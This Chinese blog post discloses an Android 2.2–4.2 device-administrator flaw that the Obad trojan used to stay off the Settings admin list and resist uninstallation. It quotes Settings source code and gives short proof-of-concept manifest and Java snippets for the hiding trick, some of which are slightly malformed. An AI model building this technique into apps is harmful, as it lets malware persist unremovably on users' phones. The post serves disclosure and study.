天天看點

Android裝置管理器漏洞

本文章由Jack_Jia編寫,轉載請注明出處。  

文章連結:http://blog.csdn.net/jiazhijun/article/details/9124747

作者:Jack_Jia    郵箱: [email protected]

一、漏洞描述

         目前被稱為“史上最強Android木馬”的病毒Backdoor.AndroidOS.Obad.a利用Android裝置管理器漏洞使使用者無法通過正常方式解除安裝。其實該漏洞早在去年底已被發現。(http://www.anguanjia.com/?c=news_view&id=435)

       注冊為“裝置管理器”的應用是無法被直接解除安裝的。隻有取消激活“裝置管理器”後才可以直接解除安裝。

       木馬可以利用Android裝置管理器漏洞達到在裝置管理器清單“隐身”的效果。這樣使用者就無法進去“取消激活”頁面,進而達到無法解除安裝的目的。

二、影響版本

       Android2.2以上(4.0,4.1,4.2)

三、漏洞原理

       首先我們來看一下Settings app如何形成裝置管理器清單的:

       相關類:

       packages\apps\settings\src\com\android\settings\DeviceAdminSettings.java

   public class DeviceAdminSettings extends ListFragment {

    DevicePolicyManager mDPM;

    final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>();

    final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();

    @Override

    public void onResume() {

        super.onResume();

        updateList();

    }

    void updateList() {

        mActiveAdmins.clear();

        List<ComponentName> cur = mDPM.getActiveAdmins();

        if (cur != null) {

            for (int i=0; i<cur.size(); i++) {

                mActiveAdmins.add(cur.get(i));

            }

        }

        mAvailableAdmins.clear();

        List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers(

                new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),

                PackageManager.GET_META_DATA);//通過查詢廣播”android.app.action.DEVICE_ADMIN_ENABLED“來得到可用的設                                                                                             //備管理器程式清單

        int count = avail == null ? 0 : avail.size();

        for (int i=0; i<count; i++) {

            ResolveInfo ri = avail.get(i);

            try {

                DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri);

                if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) {

                    mAvailableAdmins.add(dpi);

                }

                //如果應用已激活裝置管理器&&注冊了”android.app.action.DEVICE_ADMIN_ENABLED“就出現在可用裝置管理器清單

            } catch (XmlPullParserException e) {

                Log.w(TAG, "Skipping " + ri.activityInfo, e);

            } catch (IOException e) {

                Log.w(TAG, "Skipping " + ri.activityInfo, e);

            }

        }

        getListView().setAdapter(new PolicyListAdapter());

    }

   .......

    class PolicyListAdapter extends BaseAdapter {

      .......

        public void bindView(View view, int position) {

            final Activity activity = getActivity();

            ViewHolder vh = (ViewHolder) view.getTag();

            DeviceAdminInfo item = mAvailableAdmins.get(position);//顯示mAvailableAdmins中資料

            vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));

            vh.name.setText(item.loadLabel(activity.getPackageManager()));

            vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));

            try {

                vh.description.setText(item.loadDescription(activity.getPackageManager()));

            } catch (Resources.NotFoundException e) {

            }

        }

    }

}

由Android Settings App源代碼可以看出,如果想在裝置管理器清單中”隐身“,隻要不注冊”android.app.action.DEVICE_ADMIN_ENABLED“廣播就行。

四、POC代碼

AndroidMainfest.xml檔案注冊元件:

<receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name" 

   Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN"> 

   <meta-data Android:name="android.app.device_admin" 

               Android:resource="@xml/device_admin" /> 

</receiver>

java代碼注冊激活裝置管理器:

Intent intent = new Intent( 

       DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);

ComponentName  mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver"); 

intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, 

       mDeviceComponentName);

this.startActivity(intent,0); 

五、相關連結

      http://www.anguanjia.com/?c=news_view&id=435

      http://blog.csdn.net/jiazhijun/article/details/9045773